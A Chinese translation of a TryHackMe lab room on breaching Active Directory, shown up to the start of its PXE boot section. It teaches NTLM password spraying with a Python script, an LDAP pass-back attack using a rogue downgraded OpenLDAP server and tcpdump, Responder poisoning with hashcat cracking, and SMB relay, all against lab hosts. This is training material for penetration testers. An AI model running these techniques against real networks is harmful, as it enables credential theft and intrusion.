【THM】Breaching Active Directory
Breaching Active Directory
简介:AD 漏洞
Active Directory (AD) 被全球财富 1000 强公司的大约 90%使用。如果一个组织的资产使用 Microsoft Windows,你几乎可以肯定能找到 AD。Microsoft AD 是用于管理 Windows 域网络的占主导地位的套件。然而,由于 AD 用于整个资产的身份和访问管理,它掌握着王国的钥匙,使其成为攻击者非常可能的目标。
为了更深入地了解 AD 及其工作原理,请首先完成这个关于 AD 基础知识的房间。
破坏活动目录
在我们能够利用 AD 配置错误进行权限提升、横向移动和目标执行之前,您需要首先获得初始访问权限。您需要获取一组有效的 AD 凭据。由于 AD 服务和功能的数量,获取一组初始 AD 凭据的攻击面通常很大。在这个房间中,我们将讨论几个途径,但这绝对不是一份详尽的列表。
在寻找第一组凭证时,我们不关注与账户关联的权限;因此,即使是低权限账户也足够了。我们只是在寻找一种方式来验证对 AD 的访问,以便我们可以在 AD 本身上进行进一步的枚举。
学习目标
在这个网络中,我们将介绍几种可以用来突破 AD 的方法。这绝对不是一份完整的列表,因为每天都有新的方法和技巧被发现。然而,我们将介绍以下技术来恢复这个网络中的 AD 凭据:
- NTLM 认证服务
- LDAP 绑定凭据
- 身份中继
- 微软部署工具包
- 配置文件
我们可以在安全评估中使用这些技术,无论是针对面向互联网的组织系统,还是在组织的网络中植入恶意设备。
连接到网络
攻击箱
如果您正在使用基于 Web 的 AttackBox,从房间页面启动 AttackBox 时,您将自动连接到网络。您可以通过对 THMDC.za.tryhackme.com 主机的 IP 地址运行 ping 命令来验证此操作。然而,我们仍然需要配置 DNS。Windows 网络使用域名服务(DNS)将主机名解析为 IP 地址。在整个网络中,DNS 将用于任务。您必须在运行 VPN 连接的主机上配置 DNS。为了配置我们的 DNS,请运行以下命令:
[thm@thm]$ sed -i '1s|^|nameserver $THMDCIP\n|' /etc/resolv-dnsmasq
请记住在您的网络图中将$THMDCIP 替换为 THMDC 的 IP 地址。您可以通过运行以下命令来测试 DNS 是否正常工作:
nslookup thmdc.za.tryhackme.com
这应该解析为您的数据中心(DC)的 IP 地址。
注意:AttackBox 大约每 3 小时重置一次 DNS。如果发生这种情况,您需要重新运行上述命令。如果您在稍后阶段继续使用房间,您需要重新执行所有 DNS 步骤。
您还应花时间记录您的 VPN IP。使用 ifconfig 或 ip a ,记录被攻击网络适配器的 IP。这是您在执行任务时应该使用的 IP 和关联接口。
其他主机

使用 OpenVPN 客户端进行连接。此示例显示在 Linux 计算机上;有关使用 Windows 或 macOS 进行连接的类似指南,请访问您的访问页面。
[thm@thm]$ sudo openvpn breachingad.ovpn
Fri Mar 11 15:06:20 2022 OpenVPN 2.4.9 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Apr 19 2020
Fri Mar 11 15:06:20 2022 library versions: OpenSSL 1.1.1g FIPS 21 Apr 2020, LZO 2.08
[....]
Fri Mar 11 15:06:22 2022 /sbin/ip link set dev tun0 up mtu 1500
Fri Mar 11 15:06:22 2022 /sbin/ip addr add dev tun0 10.50.2.3/24 broadcast 10.50.2.255
Fri Mar 11 15:06:22 2022 /sbin/ip route add 10.200.4.0/24 metric 1000 via 10.50.2.1
Fri Mar 11 15:06:22 2022 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
Fri Mar 11 15:06:22 2022 Initialization Sequence Completed
消息“初始化序列完成”表示您已连接到网络。返回您的访问页面。您可以通过查看访问页面来验证您已连接。刷新页面,您应该会在“已连接”旁边看到一个绿色的勾号。它还会显示您的内部 IP 地址。

注意:您仍然需要配置 DNS,类似于上面所展示的那样。需要注意的是,尽管未使用,域控制器(DC)确实会记录 DNS 请求。如果您在自己的机器上使用,这些日志可能包括您的设备的主机名。例如,如果您在名为 kali 的 kali 机器上运行 VPN,这将记录下来。
Kali
如果您使用的是 Kali 虚拟机,网络管理器很可能是用作 DNS 管理器。您可以使用 GUI 菜单来配置 DNS:
- 网络管理器 -> 高级网络配置 -> 您的连接 -> IPv4 设置
- 在此处设置您的 DNS IP,将其设置为上图网络图中 THMDC 的 IP
- 添加另一个 DNS,例如 1.1.1.1 或类似,以确保您仍然可以访问互联网
- 运行
sudo systemctl restart NetworkManager并测试您的 DNS,类似于上面的步骤。
调试 DNS
DNS 将成为 Active Directory 测试的一部分,无论你是否喜欢。这是因为两个主要的 AD 认证协议之一,Kerberos,依赖于 DNS 来创建票据。票据不能与 IP 地址关联,因此 DNS 是必需的。如果你打算在安全评估中测试 AD 网络,你必须掌握解决 DNS 问题的技能。因此,你通常有两个选择:
- 您可以将 DNS 条目硬编码到您的
/etc/hosts文件中。虽然这可能效果不错,但当您要测试拥有超过 10000 个主机的网络时,这是不可行的。 - 您可以花费调试 DNS 问题所需的时间来让它工作。虽然这可能更困难,但从长远来看,这将带来更好的结果。
当这个房间内的任何一个任务对您不起作用时,您的第一个想法应该是:我的 DNS 是否正常工作?根据经验,作为这个网络的创建者,我可以告诉您,我曾经浪费了无数小时在评估上,想知道为什么我的工具不起作用,结果才发现我的 DNS 已经更改。
当你认为你的 DNS 配置可能没有按预期工作,请按照以下步骤进行调试:
- 按照上述步骤操作。确保按照您特定机器类型的步骤进行。- 如果您使用的是完全不同的操作系统,您可能需要做一些谷歌搜索来找到您等效的配置。
- 运行
ping <THM DC IP>- 这将验证网络是否活跃。如果您从 ping 命令没有收到响应,这意味着网络当前不活跃。如果您刷新了房间页面后,网络显示正在运行,但您仍然没有收到 ping 响应,请联系 THM 支持。但仅仅等待网络计时器耗尽再重新启动网络是无法解决问题的。 - 运行
nslookup za.tryhackme.com <THM DC IP>- 这将验证网络中的 DNS 服务器是否活跃,因为域控制器具有此功能角色。如果 ping 命令成功了但这个没有,那么是时候联系支持了,因为这里有些问题。还建议按下网络重置按钮。 - 最后,运行
nslookup tryhackme.com- 如果你现在得到与第三步不同的响应,这意味着你的 DNS 配置有问题。返回到任务开始处的配置步骤,并重新执行。在 Kali 上常见的一个问题是 DNS 条目被放置在/etc/resolv.conf文件的第二个位置。将其设置为第一个条目,将解决问题。
这些广告网络被评为中等,这意味着如果你刚刚加入 THM,这可能不是你开始学习之旅的地方。广告网络非常庞大,如果你想成功测试它,你需要应用解决问题的思维方式。然而,如果上述所有方法都失败了,请在联系支持时尽可能详细地描述你试图做的事情,以便他们能尽可能高效地帮助你。
开源情报与钓鱼
两种获取第一组 AD 凭证的流行方法是开源情报(OSINT)和钓鱼攻击。我们在这里只会简要提及这两种方法,因为它们在其他房间中已经得到了更深入的探讨。
OSINT
OSINT 用于发现已公开披露的信息。在 AD 凭证方面,这可能由几个原因造成:
- 在公共论坛如 Stack Overflow 上提问的用户,但在问题中泄露了敏感信息,如他们的凭证。
- 将带有硬编码凭证的脚本上传到如 Github 等服务器的开发者。
- 过去的安全漏洞中泄露的凭证,因为员工使用工作账户在其他外部网站上注册。例如,HaveIBeenPwned 和 DeHashed 网站提供了优秀的平台,可以确定某人的信息,如工作电子邮件,是否曾经涉及公开已知的数据泄露事件。
通过使用开源情报(OSINT)技术,可能可以恢复公开披露的凭证。如果我们足够幸运找到了凭证,我们仍然需要找到一种方法来测试它们是否有效,因为开源情报信息可能过时。在任务 3 中,我们将讨论 NTLM 认证服务,这可能为测试凭证是否仍然有效提供了一个绝佳途径。
关于红队开源情报(OSINT)的详细内容可以在这里找到。
网络钓鱼

钓鱼攻击是入侵 AD 的另一种优秀方法。钓鱼通常诱使用户在恶意网页上提供他们的凭据,或者要求他们运行一个会在后台安装远程访问木马(RAT)的特定应用程序。这是一个普遍的方法,因为 RAT 会在用户的上下文中执行,立即允许你假冒该用户的 AD 账户。这就是为什么钓鱼对于红队和蓝队来说都是一个如此重要的话题。

NTLM 认证服务
NTLM 和 NetNTLM
新技术局域网管理器 (NTLM) 是用于在 AD 中验证用户身份的一套安全协议。NTLM 可以通过使用基于挑战-响应方案的 NetNTLM 进行身份验证。这种身份验证机制在网络上的服务中被广泛使用。然而,使用 NetNTLM 的服务也可能暴露在互联网上。以下是一些流行的示例:
- 内部托管 Exchange(邮件)服务器,暴露 Outlook Web App(OWA)登录门户。
- 服务器远程桌面协议(RDP)服务暴露在互联网上。
- 暴露与 AD 集成的 VPN 端点。
- 面向互联网并使用 NetNTLM 的 Web 应用程序。
NetNTLM,也常被称为 Windows 身份验证或简称 NTLM 身份验证,允许应用程序在客户端和 AD 之间扮演中间人的角色。所有身份验证材料都以挑战的形式转发到域控制器,如果成功完成,应用程序将验证用户。
这意味着应用程序是在代表用户进行身份验证,而不是在应用程序本身直接对用户进行身份验证。这防止了应用程序存储 AD 凭据,这些凭据应仅存储在域控制器上。此过程在下图中展示:

暴力破解登录攻击
如任务 2 中所述,这些公开的服务提供了一个极佳的位置来测试使用其他方式发现的凭据。然而,这些服务也可以直接用于尝试恢复一组初始有效的 AD 凭据。如果我们在我们最初的红色团队侦察中恢复了如有效电子邮件地址等信息,我们或许可以尝试使用这些服务进行暴力破解攻击。
由于大多数 AD 环境已配置账户锁定,我们无法运行完整的暴力破解攻击。相反,我们需要执行密码喷射攻击。我们不是尝试多个不同的密码,这可能会触发账户锁定机制,而是选择并使用一个密码,并尝试用我们获取的所有用户名进行身份验证。然而,需要注意的是,由于这些攻击会产生大量的失败身份验证尝试,因此它们可能会被检测到。
您已获得在红队 OSINT 练习中发现的用户名列表。OSINT 练习还指出了组织的初始登录密码,这似乎是“Changeme123”。尽管用户应该始终更改初始密码,但我们知道用户经常忘记。我们将使用自定义开发的脚本对该 URL:http://ntlmauth.za.tryhackme.com 上托管的 Web 应用程序进行密码喷射攻击。
导航到该 URL,我们可以看到它提示我们输入 Windows 身份验证凭据:

注意:Firefox 的 Windows 身份验证插件极其容易出错。如果您想手动测试凭据,建议使用 Chrome。
我们可以使用 Hydra 等工具来协助进行密码喷射攻击。然而,自己编写这些类型的攻击脚本通常更好,这让你能更控制整个过程。任务文件中提供了一个基本的 Python 脚本,可用于密码喷射攻击。以下函数是脚本的主要组件:
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
此函数接收我们建议的密码和目标 URL 作为输入,并尝试使用文本文件中的每个用户名对 URL 进行身份验证。通过监控应用程序的 HTTP 响应代码差异,我们可以确定凭据对是否有效。如果凭据对有效,应用程序将返回 200 HTTP(OK)代码。如果凭据对无效,应用程序将返回 401 HTTP(未授权)代码。
密码喷射
如果您使用 AttackBox,密码喷射脚本和用户名文本文件位于 /root/Rooms/BreachingAD/task3/ 目录下。我们可以使用以下命令运行脚本:
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
我们为每个参数提供以下值:
- - 包含我们用户名的文本文件 - "usernames.txt"
- - 我们要攻击的组织关联的完全限定域名 - "za.tryhackme.com"
- - 我们想要用于喷射攻击的密码 - "Changeme123"
- - 支持 Windows 身份验证的应用程序的 URL - "http://ntlmauth.za.tryhackme.com"
使用这些参数,我们应该从我们的密码喷射攻击中获得一些有效的凭据对。
NTLM密码喷射攻击
[thm@thm]$ python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: henry.taylor
[...]
[+] Valid credential pair found! Username: [...] Password: Changeme123
[-] Failed login with Username: louise.talbot
[...]
[*] Password spray attack completed, [X] valid credential pairs found
使用 OSINT 和 NetNTLM 密码喷射的组合,我们现在有了第一个可用于进一步枚举 AD 的有效凭据对!

LDAP 绑定凭据
LDAP
应用程序可以使用的一种 AD 身份验证的另一种方法是轻量级目录访问协议(LDAP)身份验证。LDAP 身份验证类似于 NTLM 身份验证。然而,使用 LDAP 身份验证时,应用程序直接验证用户的凭据。应用程序有一对 AD 凭据,它首先可以使用这些凭据查询 LDAP,然后验证 AD 用户的凭据。
LDAP 身份验证是一种流行的机制,用于与 AD 集成的第三方(非 Microsoft)应用程序。这些包括以下应用程序和系统:
- Gitlab
- Jenkins
- 自定义开发的 Web 应用程序
- 打印机
- VPN
如果这些应用程序或服务暴露在互联网上,可以像针对 NTLM 认证系统所使用的攻击一样使用相同类型的攻击。然而,由于使用 LDAP 认证的服务需要一组 AD 凭证,这开辟了额外的攻击途径。本质上,我们可以尝试恢复服务使用的 AD 凭证,以获得对 AD 的认证访问。以下展示了通过 LDAP 进行认证的过程:

如果您能在正确的宿主上站稳脚跟,例如 Gitlab 服务器,那么恢复这些 AD 凭证可能只需读取配置文件那么简单。这些凭证通常以纯文本形式存储在配置文件中,因为安全模型依赖于保持位置和存储配置文件的安全,而不是其内容的安全。配置文件在任务 7 中有更深入的介绍。
LDAP 反向传递攻击
然而,还可以对 LDAP 身份验证机制执行一种非常有趣的攻击,称为 LDAP Pass-back 攻击。这是一种常见的针对网络设备的攻击,例如打印机,当您已经获得了对内部网络的初始访问权限时,例如在会议室插入一个恶意设备。
LDAP Pass-back 攻击可以在我们获得设备配置访问权限且其中指定了 LDAP 参数时执行。例如,这可以是网络打印机的 Web 界面。通常,这些界面的凭证保留为默认值,如 admin:admin 或 admin:password 。在这里,我们无法直接提取 LDAP 凭证,因为密码通常被隐藏。然而,我们可以更改 LDAP 配置,例如 LDAP 服务器的 IP 或主机名。在 LDAP Pass-back 攻击中,我们可以将此 IP 修改为我们自己的 IP,然后测试 LDAP 配置,这将迫使设备尝试对我们的恶意设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭证。
执行 LDAP 回传
本网络中有一个网络打印机,其管理网站甚至不需要凭证。导航至 http://printer.za.tryhackme.com/settings.aspx 以找到打印机的设置页面:

使用浏览器检查,我们还可以验证打印机网站至少安全到不会仅仅将 LDAP 密码发送回浏览器:

所以我们有用户名,但没有密码。然而,当我们按下测试设置时,我们可以看到会向域控制器发送一个身份验证请求来测试 LDAP 凭据。让我们尝试利用这一点,让打印机连接到我们,这样就会泄露凭据。为此,我们可以使用一个简单的 Netcat 监听器来测试打印机是否可以连接到我们。由于 LDAP 的默认端口是 389,我们可以使用以下命令:
nc -lvp 389
请注意,如果您使用 AttackBox,您应首先使用 service slapd stop 禁用 slapd。然后,我们可以更改 Web 应用程序上的服务器输入框,指向我们的 IP,并按测试设置。
您的 IP 将是 VPN IP,可能是 10.50.x.x IP 或 10.51.x.x IP。您可以使用 ip a 列出所有接口。请确保使用此 IP,否则您将无法收到连接。请记住此 IP 的接口,因为您在任务中需要它。
您应该看到我们得到了一个连接回,但有一个小问题:
Netcat LDAP 监听器
[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
objectclass0?supportedCapabilities
您可能需要尝试多次才能重新建立连接,但应该在 5 秒内响应。 supportedCapabilities 响应告诉我们存在问题。本质上,在打印机发送凭据之前,它正在尝试协商 LDAP 身份验证方法细节。它将使用这种协商来选择打印机和支持的 LDAP 服务器之间的最安全身份验证方法。如果身份验证方法过于安全,凭据将不会以明文形式传输。对于某些身份验证方法,凭据甚至根本不会通过网络传输!因此,我们无法仅使用正常的 Netcat 来捕获凭据。我们需要创建一个恶意的 LDAP 服务器,并配置它不安全,以确保凭据以明文形式发送。
托管恶意 LDAP 服务器
有几种方式可以托管一个恶意 LDAP 服务器,但我们将使用 OpenLDAP 作为此示例。如果您使用的是 AttackBox,OpenLDAP 已经为您安装好了。然而,如果您使用自己的攻击机器,您需要使用以下命令安装 OpenLDAP:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
您将需要在 AttackBox 上配置自己的恶意 LDAP 服务器。我们将首先使用以下命令重新配置 LDAP 服务器:
sudo dpkg-reconfigure -p low slapd
确保在请求时按下<否>以跳过服务器配置:

DNS 域名,您需要提供我们的目标域名,即 za.tryhackme.com :

使用相同的名称作为组织名称:

提供任何管理员密码:

选择 MDB 作为要使用的 LDAP 数据库:

对于最后两个选项,确保在清理时不要删除数据库:

在创建新数据库之前,移动旧数据库文件:

在使用 rogue LDAP 服务器之前,我们需要通过降级支持的认证机制使其变得脆弱。我们希望确保我们的 LDAP 服务器只支持 PLAIN 和 LOGIN 认证方法。为此,我们需要创建一个新的 ldif 文件,其内容如下:
olcSaslSecProps.ldif
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
文件具有以下属性:
- olcSaslSecProps: 指定 SASL 安全属性
- noanonymous: 禁用支持匿名登录的机制
- minssf: 指定可接受的最小安全强度,0 表示无保护。
"现在我们可以使用以下 ldif 文件来修补我们的 LDAP 服务器:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
我们可以使用以下命令验证我们的恶意 LDAP 服务器配置是否已应用(注意:如果您正在使用 Kali,您可能不会收到任何输出,但是配置应该已经生效,您可以继续下一步):
LDAP 搜索以验证支持的认证机制
[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
捕获 LDAP 凭证
我们的恶意 LDAP 服务器现已配置完成。当我们点击 http://printer.za.tryhackme.com/settings.aspx 上的“测试设置”时,认证将以明文形式进行。如果您正确配置了您的恶意 LDAP 服务器并且它正在降级通信,您将收到以下错误:“此区分名称包含无效语法”。如果您收到此错误,您可以使用以下命令使用 tcpdump 捕获凭据:
TCPDump
[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
0x0000: 4500 0074 b08c 4000 8006 20e2 0a0a 0ac9 E..t..@.........
0x0010: 0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2 ...9........BW..
0x0020: 5018 2014 1382 0000 3084 0000 0046 0201 P.......0....F..
0x0030: 0263 8400 0000 3d04 000a 0100 0a01 0002 .c....=.........
0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
0x0050: 636c 6173 7330 8400 0000 1904 1773 7570 class0.......sup
0x0060: 706f 7274 6564 5341 534c 4d65 6368 616e portedSASLMechan
0x0070: 6973 6d73 isms
10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
0x0000: 4500 0028 247d 4000 4006 ed3d 0a0a 0a39 E..($}@.@..=...9
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5010 01f6 2930 0000 P...)0..
10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
0x0000: 4500 005e 247e 4000 4006 ed06 0a0a 0a39 E..^$~@.@......9
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5018 01f6 2966 0000 3034 0201 0264 2f04 P...)f..04...d/.
0x0030: 0030 2b30 2904 1773 7570 706f 7274 6564 .0+0)..supported
0x0040: 5341 534c 4d65 6368 616e 6973 6d73 310e SASLMechanisms1.
0x0050: 0405 504c 4149 4e04 054c 4f47 494e ..PLAIN..LOGIN
[....]
10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
0x0000: 4500 0028 b092 4000 8006 2128 0a0a 0ac9 E..(..@...!(....
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5010 2014 0ae4 0000 0000 0000 0000 P.............
10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
0x0000: 4500 0069 b093 4000 8006 20e6 0a0a 0ac9 E..i..@.........
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5018 2014 3afe 0000 3084 0000 003b 0201 P...:...0....;..
0x0030: 0560 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t
0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc
0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..password11
此外,请注意 password11 是一个示例。您服务的密码将不同。由于我们正在通过 VPN 连接进行攻击,您可能需要多次按下“测试设置”按钮,TCPdump 才会返回数据。
现在我们有了另一组有效的 AD 凭据!通过使用 LDAP 回传攻击和降级支持的认证机制,我们可以在明文状态下拦截凭据。

身份中继
继续使用可以从我们的恶意设备分阶段执行的攻击,我们现在将探讨针对更广泛的网络身份验证协议的攻击。在 Windows 网络中,有大量服务相互通信,使用户能够利用网络提供的服务。
这些服务必须使用内置的身份验证方法来验证传入连接的身份。在任务 2 中,我们探讨了在 Web 应用程序上使用的 NTLM 身份验证。在本任务中,我们将更深入地研究从网络的角度看这种身份验证的细节。然而,对于这个任务,我们将专注于 SMB 使用的 NetNTLM 身份验证。
服务器消息块
服务器消息块(SMB)协议允许客户端(如工作站)与服务器(如文件共享)通信。在使用 Microsoft AD 的网络中,SMB 管理从网络文件共享到远程管理的所有事务。甚至当你尝试打印文档时,计算机接收到的“无纸”警报也是 SMB 协议的工作成果。
然而,SMB 协议早期版本的安全性被认为不足。已经发现了几个漏洞和利用方法,可以利用这些方法恢复凭证,甚至在设备上执行代码。尽管这些漏洞中的某些在新版本的协议中得到了解决,但通常组织机构不会强制使用较新版本,因为旧系统不支持它们。我们将探讨两种针对 SMB 的 NetNTLM 身份验证的利用方法:
- 由于 NTLM 挑战可以拦截,我们可以使用离线破解技术来恢复与 NTLM 挑战关联的密码。然而,这个破解过程比直接破解 NTLM 散列要慢得多。
- 我们可以使用我们的恶意设备来实施中间人攻击,在客户端和服务器之间中继 SMB 身份验证,这将为我们提供一个活动的已验证会话和对目标服务器的访问。
LLMNR、NBT-NS 和 WPAD
在这个任务中,我们将简要了解在使用 SMB 过程中发生的身份验证。我们将使用 Responder 尝试拦截 NetNTLM 挑战以破解它。通常,网络上会有很多这样的挑战。一些安全解决方案甚至会对整个 IP 范围进行扫描以从主机中恢复信息。有时,由于过时的 DNS 记录,这些身份验证挑战可能会击中您的恶意设备而不是目标主机。
Responder 允许我们通过在 NetNTLM 认证过程中中毒响应来执行中间人攻击,欺骗客户端与其想要连接的实际服务器交谈而不是与你交谈。在真实局域网中,Responder 将尝试中毒任何检测到的 Link-Local Multicast Name Resolution (LLMNR)、NetBIOS Name Service (NBT-NS) 和 Web Proxy Auto-Discovery (WPAD) 请求。在大型 Windows 网络中,这些协议允许主机为其所在同一本地网络上的所有主机执行本地 DNS 解析。而不是让网络资源如 DNS 服务器过载,主机首先可以尝试通过发送 LLMNR 请求并查看是否有主机响应来确定他们正在寻找的主机是否在同一个本地网络中。NBT-NS 是 LLMNR 的前身协议,WPAD 请求是为了尝试找到未来 HTTP(s) 连接的代理。
由于这些协议依赖于在本地网络中广播的请求,我们的恶意设备也会接收到这些请求。通常,这些请求会被简单地丢弃,因为它们不是为我们的主机准备的。然而,Responder 会积极监听这些请求,并发送中毒响应,告诉请求主机我们的 IP 与请求的主机名相关联。通过中毒这些请求,Responder 试图强制客户端连接到我们的 AttackBox。同时,它开始托管多个服务器,如 SMB、HTTP、SQL 等,以捕获这些请求并强制进行身份验证。
拦截 NetNTLM 挑战
需要注意的是,Responder 试图通过毒化连接来赢得竞争条件,以确保您能够截获连接。这意味着 Responder 通常仅限于毒化本地网络上的身份验证挑战。由于我们通过 VPN 连接到网络,我们只能毒化在这个 VPN 网络上发生的身份验证挑战。因此,我们模拟了一个每 30 分钟运行一次的可毒化身份验证请求。这意味着您可能需要等待一段时间才能截获 NetNTLM 挑战和响应。
尽管从我们连接到组织局域网的恶意设备上执行时,Responder 能够拦截和毒化更多的身份验证请求,但必须理解这种行为可能会造成干扰并被检测到。通过毒化身份验证请求,正常的网络身份验证尝试将失败,这意味着用户和服务将无法连接到他们打算连接的主机和共享。在使用 Responder 进行安全评估时,请务必记住这一点。
响应器已在 AttackBox 上安装。然而,如果您不使用 AttackBox,您可以从此存储库下载并安装它:https://github.com/lgandx/Responder。我们将设置响应器在连接到 VPN 的接口上运行:
sudo responder -I breachad
如果您正在使用 AttackBox,由于其他服务已经使用了这些端口,因此并非所有 Respond 器服务都能启动。但是,这不会影响此任务。Respond 器现在将监听任何传入的 LLMNR、NBT-NS 或 WPAD 请求。我们将让 Respond 器在一个真实的 LAN 上运行一段时间。然而,在我们的情况下,我们必须通过让其中一个服务器尝试对 VPN 上的机器进行身份验证来模拟中毒。让 Respond 器运行一段时间(平均 10 分钟,呼吸一下新鲜空气!),然后您应该会收到一个 Respond 器可以使用以诱骗和提取 NTLMv2-SSP 响应的 SMBv2 连接。它看起来可能像这样:
NTLM密码喷射攻击
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash : <Service Account Username>::ZA:<NTLMv2-SSP Hash>
如果我们使用我们的恶意设备,我们可能会运行 Responder 一段时间,捕获几个响应。一旦我们捕获到几个,我们就可以开始对响应进行离线破解,以尝试恢复它们关联的 NTLM 密码。如果账户配置了弱密码,我们成功破解它们的机会很大。将 NTLMv2-SSP 散列复制到文本文件中。然后我们将使用此任务提供的可下载文件中的密码列表和 Hashcat 尝试使用以下命令破解散列:
hashcat -m 5600 <hash file> <password file> --force
密码文件已提供给您在 AttackBox 的 /root/Rooms/BreachingAD/task5/ 目录中,或作为可下载的任务文件。我们使用 5600 类型的哈希,对应于 hashcat 的 NTLMv2-SSP。如果您使用自己的机器,您将首先需要安装 Hashcat。
任何我们能破解的哈希值现在都将为我们提供我们入侵的 AD 凭证!
中继挑战
然而,在某些情况下,我们可以更进一步,尝试中继挑战而不是直接捕获它。由于这种攻击依赖于相关账户的权限,因此在没有事先了解账户的情况下,这要困难一些。我们需要一些东西来帮我们:
- SMB 签名应启用或禁用,但不能强制执行。当我们执行中继时,我们会对请求进行一些小的修改以传递它。如果 SMB 签名已启用,我们将无法伪造消息签名,这意味着服务器会拒绝它。
- 相关账户需要在服务器上具有访问请求资源的相应权限。理想情况下,我们希望转接具有服务器管理权限的账户的挑战和响应,因为这将使我们能够在主机上获得立足点。
- Since we technically don't yet have an AD foothold, some guesswork is involved into what accounts will have permissions on which hosts. If we had already breached AD, we could perform some initial enumeration first, which is usually the case.
这是为什么盲中继通常不受欢迎。理想情况下,您首先应使用其他方法突破 AD,然后执行枚举以确定您所入侵的账户的关联权限。从这里,您通常可以执行横向移动以在域内进行权限提升。然而,了解中继攻击的基本工作原理仍然很好,如下面的图所示:

如果您想尝试这种攻击的实际操作,请前往 Holo Network。我们也会在未来 AD Rooms 中再次回到这个话题。

微软部署工具包
大型组织需要工具来部署和管理地产的基础设施。在大型组织中,你不能让 IT 人员使用 DVD 或 USB 闪存驱动器在每台机器上安装软件。幸运的是,微软已经提供了管理地产所需的所有工具。然而,我们可以利用这些工具中的配置错误来突破 AD。
MDT 和 SCCM
Microsoft Deployment Toolkit (MDT)是微软提供的一项服务,用于协助自动化部署微软操作系统(OS)。大型组织使用 MDT 等服务来更有效地在其地产中部署新映像,因为基础映像可以在中央位置维护和更新。
通常,MDT 与 Microsoft 的系统中心配置管理器(SCCM)集成,该管理器负责管理所有 Microsoft 应用程序、服务和操作系统的所有更新。MDT 用于新部署。本质上,它允许 IT 团队预先配置和管理引导映像。因此,如果他们需要配置新机器,他们只需插入网络线缆,所有操作就会自动完成。他们可以对引导映像进行各种更改,例如预先安装默认软件如 Office365 和选择的组织反病毒软件。它还可以确保新构建在安装运行时第一次更新。
SCCM 可以被视为 MDT 的扩展和大哥。软件安装后会发生什么?嗯,SCCM 执行此类补丁管理。它允许 IT 团队审查整个环境中所有已安装软件的可用更新。团队还可以在沙盒环境中测试这些补丁,以确保它们稳定,然后再将它们集中部署到所有域加入的机器上。这使得 IT 团队的工作大大简化。
然而,任何提供基础设施集中管理的工具,如 MDT 和 SCCM,也可能成为攻击者的目标,试图接管大量关键功能。尽管 MDT 可以以多种方式配置,但对于这项任务,我们将专注于一种称为预启动执行环境(PXE)启动的配置。
PXE 引导
大型组织使用 PXE 引导来允许连接到网络的新的设备通过网络连接直接加载和安装操作系统。MDT 可用于创建、管理和托管 PXE 引导映像。PXE 引导通常与 DHCP 集成,这意味着如果 DHCP 分配了 IP 租约,则主机可以请求 PXE 引导映像并开始网络操作系统安装过程。通信流程如下面的图所示:
**
**一旦执行完该过程,客户端将使用 TFTP 连接下载 PXE 引导镜像。我们可以利用 PXE 引导镜像实现两个不同的目的:
- 注入一个提权向量,例如本地管理员账户,以便在完成 PXE 引导后获得对操作系统的管理员访问权限。
- 执行密码抓取攻击以恢复安装过程中使用的 AD 凭据。
